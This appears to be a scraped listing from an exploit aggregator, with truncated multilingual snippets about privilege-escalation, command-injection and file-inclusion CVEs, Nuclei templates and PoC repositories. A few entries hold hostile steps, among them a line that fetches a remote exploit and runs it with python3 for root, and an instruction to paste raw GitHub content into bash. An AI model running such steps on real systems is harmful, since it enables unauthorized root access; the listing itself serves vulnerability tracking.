geojson2kml - Command Injection

Detects command injection vulnerability by checking if hacked.txt is created and contains the expected content. id: CVE-2020-28429 info: name: geojson2kml - Command Injection author: eeche,chae1xx1os,persona-twotwo,soonghee2 severity: critical description: | Detects command injection vulnerabilit...

Control Web Panel (CWP) - File Inclusion

In CWP Control Web Panel, previously CentOS Web Panel before version 0.9.8.1107, an unauthenticated attacker can abuse null byte %00 injection with the "scripts" parameter in the /user/loader.php or /user/login.php endpoints to register arbitrary API keys or access sensitive files. This can be...

OttoKit < 1.0.83 - SureTriggers allows Privilege Escalation

Incorrect Privilege Assignment vulnerability in Brainstorm Force SureTriggers allows Privilege Escalation.This issue affects SureTriggers- from n/a through 1.0.82. id: CVE-2025-27007 info: name: OttoKit 1.0.83 - SureTriggers allows Privilege Escalation author: iamnoooob,rootxharsh,pdresearch...

CVE-2021-4034

CVE-2021-4034 polkit権限昇格エクスプロイトのためのワンデイ make を実行し、./cve-2021-4034 を実行するだけで、rootシェルを手に入れられます。 実際の作者による元のアドバイザリはこちらです。 PoC エクスプロイトが成功すると、すぐにrootシェルが取得できます: root@kitploit: localuser@ubuntu-poc:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-403...

CVE-2021-4034

CVE-2021-4034 https://raw.githubusercontent.com/hackingyseguridad/CVE-2021-4034/main/binario RAWコンテンツをコピーしてBashシェルコンソールに貼り付けます: CVE-2021-4034 脆弱性 深刻度7.8 日付2021年11月18日、Polkitのpkexecコンポーネントに存在 https://gitlab.freedesktop.org/polkit/polkit/ 影響を受けるpolkitのバージョン: 0.92, 0.93, 0.94, 0.95, 0.96, 0.97, 0.98...

CVE-2026-1492

CVE-2026-1492 - WordPressユーザー登録プラグイン権限昇格エクスプロイト 説明 このリポジトリには、WordPressのUser Registration & Membershipプラグインに影響する重大な脆弱性であるCVE-2026-1492 の概念実証エクスプロイトが含まれています。 この脆弱性により、認証されていない攻撃者 がメンバーシップ登録プロセスを悪用して管理者アカウントを作成できます。 👉 この脆弱性の完全な技術分析はこちらで入手できます: 技術分析...

CVE-2021-4034

CVE-2021-4034 https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash 使用例: root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

CVE-2021-43613 SysPasswordDxe: Password hashes are exposed in runtime UEFI variables, leading to escalation of privilege

An issue was discovered in SysPasswordDxe in Insyde InsydeH2O. User and administrator password hashes are exposed in runtime UEFI variables, leading to escalation of privilege...

EUVD-2021-34868

An issue was discovered in SysPasswordDxe in Insyde InsydeH2O. User and administrator password hashes are exposed in runtime UEFI variables, leading to escalation of privilege...

CVE-2021-43613

A vulnerability in the SysPasswordDxe driver of Insyde InsydeH2O 5.x exposes user and administrator password hashes in runtime UEFI variables, enabling privilege escalation . The affected firmware is also used in Siemens SIMATIC industrial products. The CVSS 3.1 score is 6.5 (Medium) with a local...

CVE-2021-4034-POC

CVE-2021-4034 PwnKit 的 PoC：polkit 的 pkexec 中的本地权限提升漏洞（CVE-2021-4034） https://seclists.org/oss-sec/2022/q1/80 https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034...

CVE-2026-31431

CVE-2026-31431 - Copy Fail Copy Fail は、Linuxカーネルのcryptoサブシステムにおけるロジックバグです（CVE-2026-31431）。2017年のalgifaead.cの最適化により、ページキャッシュのページが誤って書き込み可能なscatterlistに配置されました。authencesn...

cve-2026-31431

CVE-2026-31431 Copy Fail Prueba Este repositorio contiene un archivo de flujo de trabajo para GitHub Actions con el fin de probar si el ejecutor de acciones está afectado por CVE-2026-31431. Puedes realizar la prueba por ti mismo; solo crea un repositorio a partir de esta plantilla y ejecuta...

CVE-2026-27541-Analysis-Lab

CVE-2026-27541 — WooCommerce Wholesale Prices 認証済み権限昇格ラボ 概要 このプロジェクトは、WooCommerce Wholesale Prices / Wholesale Suite プラグインにおける CVE-2026-27541 の挙動を、脆弱な ビルドとパッチ適用済み ビルドを同一マシン上で並行して比較しながら分析・再現するためのローカル Docker ラボです。 中核となる問題は、以下の REST API エンドポイントにおけるアクセス制御の欠陥 Broken Access Control です: root@kitploit:...

CVE-2021-4034

CVE-2021-4034 - 意図的に脆弱性を含むDockerコンテナ版 polkitのpkexecにおけるローカル権限昇格の脆弱性（CVE-2021-4034）に対するDocker PoC（PwnKit） https://seclists.org/oss-sec/2022/q1/80...

CVE-2025-32463

CVE-2025-32463 - セットアップおよび実行ガイド これは、悪意のあるエクスプロイトをNucleiテンプレートに移植して、非侵入型の脆弱性スキャンを実施しつつ、根本的な問題を実証するという初めての試みです。 このプロセスを学習演習として、より詳細に文書化しました。 私が直面した主な課題は以下のとおりです： 元のエクスプロイトコードを、元のエクスプロイトのようにルートシェルを取得せずに特権昇格を効果的にテストできる安全なものに変更する方法。...

CVE-2025-32463

CVE-2025-32463 — Sudo 1.9.14 → 1.9.17 の chroot を介したローカル権限昇格 エクスプロイトスクリプト — 特定の Sudo 1.9.x リリース（CVE-2025-32463）に影響するローカル権限昇格を実証します。 エクスプロイト参照: https://www.exploit-db.com/exploits/52352 テスト済み環境: sudo 1.9.16p2 を搭載した Ubuntu 24.04.2 LTS 概要 このリポジトリには、影響を受ける sudo バージョン（1.9.14 から 1.9.17）における chroot...

CVE-2021-1732

CVE-2021-1732 Win32k 権限昇格 以下の技術に触発されています: https://github.com/L4ys/CVE-2022-21882 https://github.com/exploitblizzard/Windows-Privilege-Escalation-CVE-2021-1732...

CVE-2021-4034

CVE-2021-4034 Polkit の Pkexec CVE-2021-4034 の概念実証とパッチ適用 完全にパッチ適用された Ubuntu 21.10 で確認 PoC パッチ適用 https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 完全にパッチ適用された Ubuntu 21.10 で確認: PoC:...